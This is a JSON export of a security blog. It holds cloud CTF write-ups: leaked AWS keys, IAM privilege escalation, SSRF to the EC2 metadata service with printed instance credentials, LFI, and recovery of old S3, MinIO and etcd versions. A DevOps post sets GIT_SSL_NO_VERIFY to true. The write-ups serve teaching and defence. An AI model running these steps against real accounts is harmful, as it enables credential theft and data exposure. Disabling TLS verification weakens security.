[{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/aws/","section":"Tags","summary":"","title":"Aws","type":"tags"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/career/","section":"Career","summary":"","title":"Career","type":"career"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/career/","section":"Tags","summary":"","title":"Career","type":"tags"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/","section":"chxmxii_","summary":"","title":"chxmxii_","type":"page"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/cloud/","section":"Tags","summary":"","title":"Cloud","type":"tags"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":"This section is where the non-work stuff lives — homelabbing, tinkering with clusters for no good reason, CTFs played just for fun instead of for a writeup, and whatever else I\u0026rsquo;m poking at on a weekend.\n","date":"13 September 2026","externalUrl":null,"permalink":"/hobbies/","section":"Hobbies","summary":"","title":"Hobbies","type":"hobbies"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/hobbies/","section":"Tags","summary":"","title":"Hobbies","type":"tags"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/life/","section":"Tags","summary":"","title":"Life","type":"tags"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"Most cloud challenges land in one of two buckets. Either the flag is sitting in a public S3 object and you\u0026rsquo;re done in four minutes, or the path runs so deep into IAM trivia that nobody finishes. I wanted SYBANK somewhere in between: a chain where every link is a mistake I\u0026rsquo;ve seen in a real account, stacked until they add up to the whole database.\nSix links. Break any one and the chain dies. That was the design goal, and it\u0026rsquo;s also the lesson I wanted people to leave with.\nEverything runs against a hosted AWS-compatible endpoint, so players set this once:\n# export AWS_ENDPOINT_URL=\u0026#34;https://localhost:8888\u0026#34; # only if you\u0026#39;re running LocalStack yourself export AWS_ENDPOINT_URL=\u0026#34;https://28abecb4e9659ba9.chal.ctf.ae\u0026#34; With that exported, every aws command talks to the challenge instead of a real account. Skip it and the commands go to actual AWS and get denied, which is a confusing way to lose ten minutes.\nLink 1: the key in the test file # Players start with a company name and a person. No credentials, no endpoint access, nothing to authenticate with, so the opening move has to be OSINT.\nThe person\u0026rsquo;s LinkedIn bio carries a username, blvkrose. Bios are where people leak handles without thinking about it, which is exactly why I put it there. Run the handle through sherlock and GitHub comes back:\nsherlock blvkrose The repo is public. The trap is where the credential lives: not in the application code, but in the tests.\n# tucked into one of the tests/test_*.py files AWS_ACCESS_KEY_ID = \u0026#34;AKIA................\u0026#34; AWS_SECRET_ACCESS_KEY = \u0026#34;................................\u0026#34; Somebody needed an integration test to actually talk to S3, hardcoded a real key \u0026ldquo;temporarily,\u0026rdquo; and git kept it forever. This is link one because I\u0026rsquo;ve done a version of it myself. Never pushed it, thank god, but I\u0026rsquo;ve had a live key sitting in a local test file far longer than I\u0026rsquo;d like to admit. Tests are code. The repo is public. A string that looks like a credential is a credential to whoever reads it.\nThat\u0026rsquo;s the foothold.\nLink 2: the trust policy anyone can walk through # First move with any AWS key:\naws configure # the leaked AKIA key + secret aws sts get-caller-identity get-caller-identity is the AWS equivalent of whoami and it can\u0026rsquo;t be denied. A valid key hands back the account ID and exactly which principal you are. Here it resolves to a low-privilege dev identity, which is deliberately boring.\nThe interesting question with a boring identity is what it can turn into:\naws iam list-roles assumeRole-dba shows up. Roles are only supposed to be assumable by the principals their trust policy names, and I wrote that trust policy wide open on purpose:\naws sts assume-role \\ --role-arn arn:aws:iam::000000000000:role/assumeRole-dba \\ --role-session-name dba Back come temporary credentials: access key, secret, session token. Same account, bigger badge. Stash them as a profile so you can move between identities without losing track of which one you\u0026rsquo;re holding:\naws configure --profile dba # the assume-role output, session token included aws sts get-caller-identity --profile dba aws --profile dba s3 ls Two buckets matter:\naws --profile dba s3 ls s3://sybank-dev-s3rdsbackupfiles # encrypted RDS backups aws --profile dba s3 ls s3://sybank-dev-s3filesharing # has a .automation.sh.swp Link 3: bucket-policy self-service # That .automation.sh.swp is the piece I had the most fun planting. It\u0026rsquo;s a Vim swap file. Open a file in Vim and it drops a hidden .\u0026lt;name\u0026gt;.swp beside it holding the buffer, so a leftover swap file is a snapshot of whatever someone was editing, usually including the plaintext the finished script was careful to hide.\ndba can list that object but not GetObject it. That\u0026rsquo;s the intended wall, and it\u0026rsquo;s meant to look final for a moment.\nIt isn\u0026rsquo;t, because dba holds s3:PutBucketPolicy. If you can\u0026rsquo;t read the object but you can rewrite the bucket\u0026rsquo;s resource policy, you grant yourself the read:\naws --profile dba s3api put-bucket-policy \\ --bucket sybank-dev-s3filesharing \\ --policy \u0026#39;{ \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [{ \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;s3:GetObject\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:s3:::sybank-dev-s3filesharing/*\u0026#34; }] }\u0026#39; This is the link I most wanted people to remember. S3 access is identity policy OR resource policy, and either one is enough on its own. So s3:PutBucketPolicy isn\u0026rsquo;t \u0026ldquo;can adjust a setting.\u0026rdquo; It\u0026rsquo;s \u0026ldquo;can read and write everything in this bucket,\u0026rdquo; because whoever holds it writes themselves the permission. I\u0026rsquo;ve flagged this in a review and watched the room go quiet for a second. Yeah. That\u0026rsquo;s it.\nPull the file:\naws --profile dba s3 cp s3://sybank-dev-s3filesharing/.automation.sh.swp . vim -r .automation.sh.swp recovers it properly, though strings gets you to the useful part just as fast. The recovered script references a second IAM user, dba-sec, and dba is allowed to manage that user. No password needed, no existing key needed. Just mint a fresh one:\naws iam create-access-key --user-name dba-sec --profile dba iam:CreateAccessKey on another user is total ownership of that user. You can always print yourself working credentials for them, which is why it shows up in so many persistence writeups.\nLink 4: the backup reader who can also unwrap the key # New key, new profile:\naws configure --profile sec aws sts get-caller-identity --profile sec sec is scoped tighter than dba. A plain s3 ls dies immediately:\naws --profile sec s3 ls # AccessDenied aws --profile sec s3 ls s3://sybank-dev-s3rdsbackupfiles # this works though That\u0026rsquo;s least privilege working correctly, and I left it that way deliberately. sec only has rights on the backups bucket, which happens to be the bucket that matters.\nBackups sit in timestamped folders, so list one and loop over it:\nfor i in $(aws --profile sec s3 ls s3://sybank-dev-s3rdsbackupfiles/dumps/20260912_194858/ | awk \u0026#39;{print $4}\u0026#39;); do aws --profile sec s3 cp s3://sybank-dev-s3rdsbackupfiles/dumps/20260912_194858/$i . ; done If nothing downloads here, check that the timestamp you listed matches the one you\u0026rsquo;re copying from. Pointing those at two different folders produces silence rather than an error, and silence is miserable to debug.\nEach folder holds three files:\nsy_internal_\u0026lt;ts\u0026gt;.keyblob.b64: the data key, itself encrypted by KMS, base64\u0026rsquo;d sy_internal_\u0026lt;ts\u0026gt;.globals.sql.enc: Postgres roles and users, OpenSSL-encrypted sy_internal_\u0026lt;ts\u0026gt;.dump.enc: the actual pg_dump, OpenSSL-encrypted That\u0026rsquo;s textbook envelope encryption, the same pattern AWS backups use. The data gets encrypted with a random symmetric key, that key gets wrapped by a KMS master key, and the wrapped blob is dropped next to the data. Reading anything means asking KMS to unwrap the key first.\nWhich is the whole point of this link: sec can read the backups, and sec can also call kms:Decrypt. The encryption buys the defender nothing, because the same identity holds both halves.\naws --profile sec kms decrypt \\ --ciphertext-blob file://sy_internal_20260911_161409.keyblob.b64 The Plaintext field comes back as +vQ1WujEvTODEdX3QfVawyt4H1rJaRE59SdOkdLDI4U=. That base64 string is the passphrase the dumps were encrypted with.\nDecrypt both files with OpenSSL, matching how they were encrypted (AES-256-CBC, PBKDF2):\nopenssl enc -d -aes-256-cbc -pbkdf2 \\ -pass pass:+vQ1WujEvTODEdX3QfVawyt4H1rJaRE59SdOkdLDI4U= \\ -in sy_internal_20260911_161409.globals.sql.enc -out globals openssl enc -d -aes-256-cbc -pbkdf2 \\ -pass pass:+vQ1WujEvTODEdX3QfVawyt4H1rJaRE59SdOkdLDI4U= \\ -in sy_internal_20260911_161409.dump.enc -out dump Worth being clear about what\u0026rsquo;s broken here: nothing, cryptographically. The algorithms are fine, the key wrapping is fine. The mistake is entirely in the permissions around the key, where one identity can both pull the encrypted backup and decrypt the key protecting it. Split those two grants and this link is dead.\nsec can also read Secrets Manager, which holds the database connection details:\naws --profile sec secretsmanager list-secrets --region us-east-1 aws --profile sec secretsmanager get-secret-value --secret-id dbsec/database --region us-east-1 The secret name goes in --secret-id and --region stays a flag; getting that syntax backwards is a common way to waste a few minutes here.\nLink 5: restore it and read the flag # The dump is a standard pg_dump custom-format archive, so the intended finish is a throwaway Postgres container:\ndocker run -d \\ --name postgres \\ -e POSTGRES_PASSWORD=root \\ -p 5432:5432 \\ -v ./db:/tmp \\ postgres:latest -v ./db:/tmp maps the local ./db directory to /tmp inside the container, so globals and dump go in ./db and land at /tmp/globals and /tmp/dump.\nRestore in order. Globals first, since they create the roles the dump expects to own things; skip that and pg_restore produces a wall of \u0026ldquo;role does not exist\u0026rdquo; warnings.\ndocker exec -it postgres bash psql -U postgres -f /tmp/globals # roles/users first createdb -U postgres sy_internal # make the target DB pg_restore -U postgres -d sy_internal --clean --if-exists /tmp/dump psql -U postgres -d sy_internal # poke around From there it\u0026rsquo;s plain SQL:\n\\dt SELECT * FROM \u0026lt;the table that obviously holds it\u0026gt;; The flag sits in one of the restored tables. CTF{...}.\nWhy I built it this way # There\u0026rsquo;s no clever single trick in SYBANK. It\u0026rsquo;s six small, boring, entirely realistic mistakes stacked on each other:\nA live key committed into a test file. A role almost anyone could assume. s3:PutBucketPolicy handed out as though it were harmless. It is not. An editor swap file left in shared storage, plus iam:CreateAccessKey on another user. The backup reader also holding kms:Decrypt. A recoverable backup, which is just plaintext with extra steps. Each one on its own gets waved through code review. Together they hand over the database.\nThat\u0026rsquo;s the part I wanted players to sit with. You don\u0026rsquo;t defend against \u0026ldquo;the attack,\u0026rdquo; you defend each link: scan for secrets before they\u0026rsquo;re pushed, scope trust policies to named principals, treat PutBucketPolicy and CreateAccessKey as the admin permissions they actually are, keep editor temp files out of shared buckets, and never let one identity both read a backup and unwrap its key.\nThanks to everyone who played it.\n","date":"13 September 2026","externalUrl":null,"permalink":"/posts/sybank-pwnsec-ctf/","section":"Posts","summary":"","title":"PwnSec 2k26 - [Cloud] SYBANK","type":"posts"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"The first challenge opens with barely anything to go on:\nYou\u0026#39;ve discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {\u0026#34;status\u0026#34;:\u0026#34;UP\u0026#34;} user@monthly-challenge:~$ So: a Spring Boot Actuator application. If you haven\u0026rsquo;t run into one before, Actuator bolts a set of production-monitoring endpoints onto a Spring app: metrics, health checks, environment dumps, that kind of thing. Baeldung has a solid rundown of what ships by default.\n/actuator/env is the one worth hitting first. Curling it dumps the app\u0026rsquo;s environment, including the S3 bucket name and a few details about the EC2 instance underneath it:\nuser@monthly-challenge:~$ curl -s https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env | jq | grep -i bucket -A2 -B2 \u0026#34;origin\u0026#34;: \u0026#34;System Environment Property \\\u0026#34;SHELL\\\u0026#34;\u0026#34; }, \u0026#34;BUCKET\u0026#34;: { \u0026#34;value\u0026#34;: \u0026#34;challenge01-470XXXX\u0026#34;, \u0026#34;origin\u0026#34;: \u0026#34;System Environment Property \\\u0026#34;BUCKET\\\u0026#34;\u0026#34; }, \u0026#34;LOGNAME\u0026#34;: { /actuator/mappings is the other one worth checking; it lists every request mapping the application has, endpoints included.\nOne entry stands out: a proxy endpoint that takes a url parameter.\n{ \u0026#34;predicate\u0026#34;: \u0026#34;{ [/proxy], params [url]}\u0026#34;, \u0026#34;handler\u0026#34;: \u0026#34;challenge.Application#proxy(String)\u0026#34;, \u0026#34;details\u0026#34;: { \u0026#34;handlerMethod\u0026#34;: { \u0026#34;className\u0026#34;: \u0026#34;challenge.Application\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;proxy\u0026#34;, \u0026#34;descriptor\u0026#34;: \u0026#34;(Ljava/lang/String;)Ljava/lang/String;\u0026#34; }, \u0026#34;requestMappingConditions\u0026#34;: { \u0026#34;consumes\u0026#34;: [], \u0026#34;headers\u0026#34;: [], \u0026#34;methods\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;negated\u0026#34;: false } ], \u0026#34;patterns\u0026#34;: [ \u0026#34;/proxy\u0026#34; ], \u0026#34;produces\u0026#34;: [] } } }, Knowing the app runs on EC2, the obvious next move is a GET to the 169.254 metadata server through that proxy. It works, but comes back unauthorized.\nFine. Ask the metadata server for a temporary token instead:\nTOKEN=$(curl -H \u0026#34;X-aws-ec2-metadata-token-ttl-seconds: 21600\u0026#34; -XPUT https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token) user@monthly-challenge:~$ curl -H \u0026#34;X-aws-ec2-metadata-token: ${TOKEN}\u0026#34; https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system Token in hand, next stop is the instance\u0026rsquo;s IAM credentials:\nuser@monthly-challenge:~$ curl -H \u0026#34;X-aws-ec2-metadata-token: $TOKEN\u0026#34; https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.meta-data/iam/security-credentials/challenge01-5592368 { \u0026#34;Code\u0026#34; : \u0026#34;Success\u0026#34;, \u0026#34;LastUpdated\u0026#34; : \u0026#34;2025-09-06T12:38:55Z\u0026#34;, \u0026#34;Type\u0026#34; : \u0026#34;AWS-HMAC\u0026#34;, \u0026#34;AccessKeyId\u0026#34; : \u0026#34;ASIARK7LBOHXNJ5AIPXX\u0026#34;, \u0026#34;SecretAccessKey\u0026#34; : \u0026#34;EODTCiWkez2OTMwg3U0q+s1xc4HgB9YYpIS3XiqJ\u0026#34;, \u0026#34;Token\u0026#34; : \u0026#34;IQ....\u0026#34;, \u0026#34;Expiration\u0026#34; : \u0026#34;2025-09-06T18:59:09Z\u0026#34; With those creds configured, the bucket opens up:\nuser@monthly-challenge:~$ aws s3 ls s3://challenge01-470fXXX --recursive 2025-06-18 17:15:24 29 hello.txt 2025-06-16 22:01:49 51 private/flag.txt For a second there I thought that was it. It wasn\u0026rsquo;t — pulling the object down locally throws a forbidden error:\nuser@monthly-challenge:~$ aws s3 cp s3://challenge01-XXX/private/flag.txt --profile p1 flag fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden The bucket policy explains why: nothing under /private/* leaves the bucket unless the request comes from VPC endpoint vpce-0dfd8b6aa1642a0570.\nuser@monthly-challenge:~$ aws s3api get-bucket-policy --profile p1 --bucket challenge01-470fXXX | jq { \u0026#34;Policy\u0026#34;: \u0026#34;{\\\u0026#34;Version\\\u0026#34;:\\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;:[{\\\u0026#34;Effect\\\u0026#34;:\\\u0026#34;Deny\\\u0026#34;,\\\u0026#34;Principal\\\u0026#34;:\\\u0026#34;*\\\u0026#34;,\\\u0026#34;Action\\\u0026#34;:\\\u0026#34;s3:GetObject\\\u0026#34;,\\\u0026#34;Resource\\\u0026#34;:\\\u0026#34;arn:aws:s3:::challenge01-470fXXX/private/*\\\u0026#34;,\\\u0026#34;Condition\\\u0026#34;:{\\\u0026#34;StringNotEquals\\\u0026#34;:{\\\u0026#34;aws:SourceVpce\\\u0026#34;:\\\u0026#34;vpce-0dfd8b6aa1642a057\\\u0026#34;}}}]}\u0026#34; } That /proxy endpoint from /actuator/mappings earlier is exactly what\u0026rsquo;s needed here: it lets requests originate from the EC2 instance itself, which sits on that same VPC.\nSo: presign a URL for the object, then fire it through /proxy so the request comes from inside the VPC instead of from me. First challenge, flag secured.\nuser@monthly-challenge:~$ URL=$(aws s3 presign s3://challenge01-470fXXXX/private/flag.txt --profile p1 | jq -sRr @uri) user@monthly-challenge:~$ echo $URL https%3A%2F%2Fchallenge01-470XXX.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4.. user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=${URL} The flag is: WIZ_CTF_*********** ","date":"30 July 2025","externalUrl":null,"permalink":"/posts/wiz-cloudsec-perimeter-leak/","section":"Posts","summary":"","title":"Perimeter Leak","type":"posts"},{"content":" Intro # Yesterday, CyberTEK CTF ran its second edition at TEK-UP University: 40-plus custom-authored challenges, over 100 players, and from what people told me afterward, the lineup landed well. Work and life ate most of my prep time this round, so I only got two challenges in: Misty, a cloud-plus-gateway misconfiguration chain, and F², built during the first half of the CTF itself. Misty still sits at zero solves and I want to reuse it later, so that writeup waits.\nF² Writeup # We\u0026rsquo;re handed a parameter f vulnerable to LFI. Reading the obvious files gets you nowhere at first. But there\u0026rsquo;s a trick: not every LFI hands you a flag directly.\n/proc/mounts is worth checking early — it can surface mounted volumes and filesystems you\u0026rsquo;d never guess were there otherwise. Here\u0026rsquo;s the request that mattered:\nhttps://f2.tekup-securinets.org/?f=/proc/mounts\nThe output listed a few files that had no business being there:\ntravler-gate travler-key travler-ep inventory-99 Grab those through the same LFI.\nFetching travler-gate, travler-key, and travler-ep turns up what looks like a set of access credentials, though for what, I don\u0026rsquo;t know yet.\nPoint curl at the challenge IP directly:\ncurl -v http://185.91.127.50:13131 Response:\n\u0026lt; Server: MinIO ... \u0026lt; HTTP/1.1 403 Forbidden The Server: MinIO header gives it away: a self-hosted S3-compatible object storage service.\nThat confirms the access and secret keys are for MinIO, not some other service on the box.\nAccessing MinIO # Grab the MinIO client, mc, from the official docs: min.io/docs/minio/linux\nPoint it at the keys:\nmc alias set traveler http://185.91.127.50:13131 ACCESS_KEY SECRET_KEY List the buckets:\nmc ls traveler One bucket shows up: inventory-99.\nExploring the Bucket # Contents:\nmc ls traveler/inventory-99 There\u0026rsquo;s one file: item. Pull it down and take a look:\nmc cp traveler/inventory-99/item . cat item At first glance: just a list of inventory items, nothing special.\n- id: 001 name: Rusty Sword type: Weapon rarity: Common quantity: 1 - id: 002 name: Healing Potion type: Consumable rarity: Uncommon quantity: 3 - id: 003 name: Silver Key type: Quest Item rarity: Rare quantity: 1 Here\u0026rsquo;s the catch: MinIO supports object versioning on buckets, which means older versions of item might still be sitting there, untouched.\nList every version of item:\nmc ls --versions traveler/inventory-99 Pull the first version and check it:\nmc cp --vid \u0026lt;version-id\u0026gt; traveler/inventory-99/item flag cat flag -\u0026gt; securinets{kk12121212121212121212kk} More detail, plus the full challenge source, lives here:\nchxmxii/CTF Collection of CTF challenges I authored. Python 1 0 The rest of the CyberTEK 2k25 challenges are in the event repo:\nSecurinets-TEKUP/CyberTEK-2.0 Python 3 0 ","date":"5 May 2025","externalUrl":null,"permalink":"/posts/cybertek-ctf-2k25/","section":"Posts","summary":"","title":"CyberTEK-CTF 2k25","type":"posts"},{"content":"","date":"5 May 2025","externalUrl":null,"permalink":"/tags/misc/","section":"Tags","summary":"","title":"Misc","type":"tags"},{"content":"","date":"4 December 2024","externalUrl":null,"permalink":"/tags/ansible/","section":"Tags","summary":"","title":"Ansible","type":"tags"},{"content":" Intro # Try syncing a Git repo from Azure DevOps into AWX and you\u0026rsquo;ll likely hit the same wall I did: the sync job dies with fatal: Authentication failed, every time, no matter how many times you double-check the token. It took me a few hours of digging to find a fix, so here it is.\nThe root problem is that AWX doesn\u0026rsquo;t speak the auth flow Microsoft expects. Azure DevOps wants personal access tokens (PATs) sent in an Authorization header, as documented here. AWX just doesn\u0026rsquo;t do that natively.\nSSH keys are the usual workaround people suggest, but that\u0026rsquo;s off the table if SSH access is locked down in your setup, which it is in mine. Building a custom execution environment and baking a Git config file into the container would work too. It\u0026rsquo;s also way more effort than a straightforward auth problem deserves.\nSolution # Git has a feature most people never touch: injecting config at runtime through environment variables, GIT_CONFIG_COUNT, GIT_CONFIG_KEY_*, and GIT_CONFIG_VALUE_*. (Documented here if you want the full picture.) That\u0026rsquo;s the way in.\nAll you need to do is pass these as environment variables to the job that performs the project sync. It should look like:\n{ \u0026#34;GIT_CONFIG_COUNT\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;GIT_CONFIG_KEY_0\u0026#34;: \u0026#34;http.extraHeader\u0026#34;, \u0026#34;GIT_CONFIG_VALUE_0\u0026#34;: \u0026#34;Authorization: Basic \u0026lt;your-base64-token\u0026gt;\u0026#34;, \u0026#34;GIT_SSL_NO_VERIFY\u0026#34;: \u0026#34;true\u0026#34; } Generate GIT_CONFIG_VALUE_0 with printf \u0026quot;:$PAT\u0026quot; | base64. Yes, the colon comes before an empty username — that\u0026rsquo;s intentional, not a typo.\nDas Ende # No container rebuilds, no SSH setup, just PATs doing what they\u0026rsquo;re supposed to do. This worked well for me on the first real try. If it saves you the hours I burned on it, good.\n","date":"4 December 2024","externalUrl":null,"permalink":"/posts/using-azure-devops-repo-as-scm-for-awx/","section":"Posts","summary":"","title":"Authenticating AWX with Azure DevOps using Personal Access Tokens","type":"posts"},{"content":"","date":"4 December 2024","externalUrl":null,"permalink":"/tags/awx/","section":"Tags","summary":"","title":"Awx","type":"tags"},{"content":"","date":"4 December 2024","externalUrl":null,"permalink":"/tags/blog/","section":"Tags","summary":"","title":"Blog","type":"tags"},{"content":"","date":"17 November 2024","externalUrl":null,"permalink":"/tags/helm/","section":"Tags","summary":"","title":"Helm","type":"tags"},{"content":"","date":"17 November 2024","externalUrl":null,"permalink":"/tags/pentest/","section":"Tags","summary":"","title":"Pentest","type":"tags"},{"content":" Click here to visit PwnSec 2k24 Info; # Writers: CodeBreaker44 \u0026amp; chxmxii Difficulty: Hard Category: Forensics Solvers: 0 Description: Be Wary Of Shortcuts To Knowledge Skills required: Cloud k8s helm chart aws pentesting Solution: # Part I: Getting the AWS creds from etcd; # You\u0026rsquo;re handed a zip file called kloud-10. Unzip it and there\u0026rsquo;s a file called db: an etcd backup. Reading it means having etcdctl installed locally.\nStart with:\netcdctl get / --prefix This dumps every key-value pair under the root path. The --prefix flag tells it to match anything starting with /, and what comes back is a pile of application config.\nPart II: Enumerating the AWS account; # Scrolling through the dump turns up a key worth stopping on: /cloud10/config/aws.\nIt holds a bucket name and the region it lives in.\nFurther down the list, another AWS-related key shows up: /cloud10/secrets/aws-creds\nRead it directly and it\u0026rsquo;s empty. Ask etcd for an older revision instead, and this comes back:\nThere they are: real AWS access keys. Time to configure them and see what they unlock:\naws configure First move, always: check who we actually are.\naws sts get-caller-identity The identity comes back as Freya. Next question: what can Freya actually do?\nStart with attached managed policies:\naws list-attached-user-policies --user-name Freya No permission to list attached managed policies. Dead end, but not the only door: AWS splits policies into two types, inline and managed.\nMore on the distinction here: Managed policies and inline policies\nSo: can Freya list inline policies instead?\naws iam list-user-policies --user-name Freya She does: FreyaBoundPolicy. Let\u0026rsquo;s pull it and see what\u0026rsquo;s inside:\naws iam get-user-policy --user-name Freya --policy-name FreyaBoundPolicy | jq Freya has access to two buckets:\nvanaheim55 midgard55 Start with vanaheim55:\naws s3 ls s3://vanaheim55 There\u0026rsquo;s the flag. Grab it:\naws s3 cp s3://vanaheim55/flag.txt . Check the policy again and there\u0026rsquo;s the catch: Freya can list objects, not get them.\nOn to midgard55, then:\naws s3 ls s3://midgard55 Part III: Retrieving the second IAM creds from the helm chart; # The policy shows Freya can list and get objects in midgard55, plus list object versions, meaning S3 versioning is on for this bucket. Worth digging through.\nThe file layout gives it away fast: this is a Helm chart.\nHelm chart? Helm charts are a collection of files that describe a Kubernetes cluster\u0026rsquo;s resources and package them together as an application for more info check: helm.sh Two ways to go from here:\nPull the whole chart and install it on a k8s cluster of our own Go through the files by hand For this writeup, option two.\nSync the whole bucket down:\naws s3 sync s3://midgard55 . Now the hunt for anything useful starts.\nFirst, Chart.yaml:\nNothing worth stopping for.\nNext, values.yaml.\nStill nothing. Into the templates directory:\nThen NOTES.txt:\nThere\u0026rsquo;s a note about secrets an intern exposed. Since versioning is on, an earlier revision of this file might still have them — worth checking.\naws s3api list-object-versions --bucket midgard55 Sure enough, there\u0026rsquo;s an older version of NOTES.txt. Pull it:\naws s3api get-object --bucket midgard55 --key \u0026#39;templates/NOTES.txt\u0026#39; --version-id B8lWaRH7dB_ymDyICm_NAsBVO_qNpDfQ old_NOTES.txt A handful of notes about the chart, but the second one matters: a snapshot ID. Hang onto that.\nOn to the rest of the files.\nVolumeSnapshotContent.yml:\napiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshotContent metadata: name: {{ .Values.volumeSnapshotContentName }} spec: volumeSnapshotRef: kind: VolumeSnapshot name: static-snapshot-demo namespace: default source: snapshotHandle: {{ .Values.snapshotHandle }} driver: ebs.csi.aws.com deletionPolicy: Delete volumeSnapshotClassName: csi-aws-vsc Nothing useful here either.\nNext file:\nserviceaccount.yaml:\n{{- if .Values.serviceAccount.create -}} apiVersion: v1 kind: ServiceAccount metadata: name: {{ include \u0026#34;yggdrasill.serviceAccountName\u0026#34; . }} labels: {{- include \u0026#34;yggdrasill.labels\u0026#34; . | nindent 4 }} {{- with .Values.serviceAccount.annotations }} annotations: {{- toYaml . | nindent 4 }} {{- end }} automountServiceAccountToken: {{ .Values.serviceAccount.automount }} {{- end }} Nothing again. Then _helpers.tpl:\n{{/* Expand the name of the chart. */}} {{- define \u0026#34;yggdrasill.name\u0026#34; -}} {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \u0026#34;-\u0026#34; }} {{- end }} {{/* Create a default fully qualified app name. We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). If release name contains chart name it will be used as a full name. */}} {{- define \u0026#34;yggdrasill.fullname\u0026#34; -}} {{- if .Values.fullnameOverride }} {{- .Values.fullnameOverride | trunc 63 | trimSuffix \u0026#34;-\u0026#34; }} {{- else }} {{- $name := default .Chart.Name .Values.nameOverride }} {{- if contains $name .Release.Name }} {{- .Release.Name | trunc 63 | trimSuffix \u0026#34;-\u0026#34; }} {{- else }} {{- printf \u0026#34;%s-%s\u0026#34; .Release.Name $name | trunc 63 | trimSuffix \u0026#34;-\u0026#34; }} {{- end }} {{- end }} {{- end }} {{/* Create chart name and version as used by the chart label. */}} {{- define \u0026#34;yggdrasill.chart\u0026#34; -}} {{- printf \u0026#34;%s-%s\u0026#34; .Chart.Name .Chart.Version | replace \u0026#34;+\u0026#34; \u0026#34;_\u0026#34; | trunc 63 | trimSuffix \u0026#34;-\u0026#34; }} {{- end }} {{/* Common labels */}} {{- define \u0026#34;yggdrasill.labels\u0026#34; -}} helm.sh/chart: {{ include \u0026#34;yggdrasill.chart\u0026#34; . }} {{ include \u0026#34;yggdrasill.selectorLabels\u0026#34; . }} {{- if .Chart.AppVersion }} app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} {{- end }} app.kubernetes.io/managed-by: {{ .Release.Service }} {{- end }} {{/* Selector labels */}} {{- define \u0026#34;yggdrasill.selectorLabels\u0026#34; -}} app.kubernetes.io/name: {{ include \u0026#34;yggdrasill.name\u0026#34; . }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end }} {{/* Create AWS Secret */}} {{- define \u0026#34;yggdrasill.awsCredentials\u0026#34; -}} AWS_ACCESS_KEY_ID: {{ \u0026#34;REDACTED\u0026#34; | quote }} AWS_SECRET_ACCESS_KEY: {{ \u0026#34;REDCATED\u0026#34; | quote }} {{- end }} {{/* Create the name of the service account to use */}} {{- define \u0026#34;yggdrasill.serviceAccountName\u0026#34; -}} {{- if .Values.serviceAccount.create }} {{- default (include \u0026#34;yggdrasill.fullname\u0026#34; .) .Values.serviceAccount.name }} {{- else }} {{- default \u0026#34;default\u0026#34; .Values.serviceAccount.name }} {{- end }} {{- end }} The AWS creds here are redacted, which means real keys existed in an earlier version. Same trick as before: pull an older revision.\naws s3api get-object --bucket midgard55 --key \u0026#39;templates/_helpers.tpl\u0026#39; --version-id BQzEKSL7WvaPin7HeCD43AUUi2NHQx7. old_helpers.tpl Bingo. Fresh AWS access keys. Configure them:\naws configure Part IV: Enumerating the second AWS account; # Check who this new identity actually is:\naws sts get-caller-identity This one\u0026rsquo;s Mimir.\nSame policy check as before:\naws iam list-attached-user-policies --user-name Mimir aws iam list-user-policies --user-name Mimir Both commands come back empty. Mimir doesn\u0026rsquo;t have permission to list policies either.\nWorth trying an enumeration tool at this point, like aws-enumerator\nThat fails too. Nothing available.\nThat snapshot ID from earlier, though — let\u0026rsquo;s check its attributes.\naws ec2 describe-snapshot-attribute --attribute createVolumePermission --snapshot-id snap-019f040d********** Part V: Creating a new EC2 instance based on the snapshot ID; # Quick recap of the plan here.\nWith a snapshot ID in hand, the first thing to check is whether it\u0026rsquo;s public. The createVolumePermission attribute controls exactly that: whether other AWS accounts can create volumes from this snapshot. It comes back as all, meaning any AWS account can grab it. So: create a volume from the snapshot, attach it to a fresh EC2 instance, and see what\u0026rsquo;s on disk.\nOnce the volume\u0026rsquo;s attached, it\u0026rsquo;s time to go looking for anything interesting. One file stands out immediately: 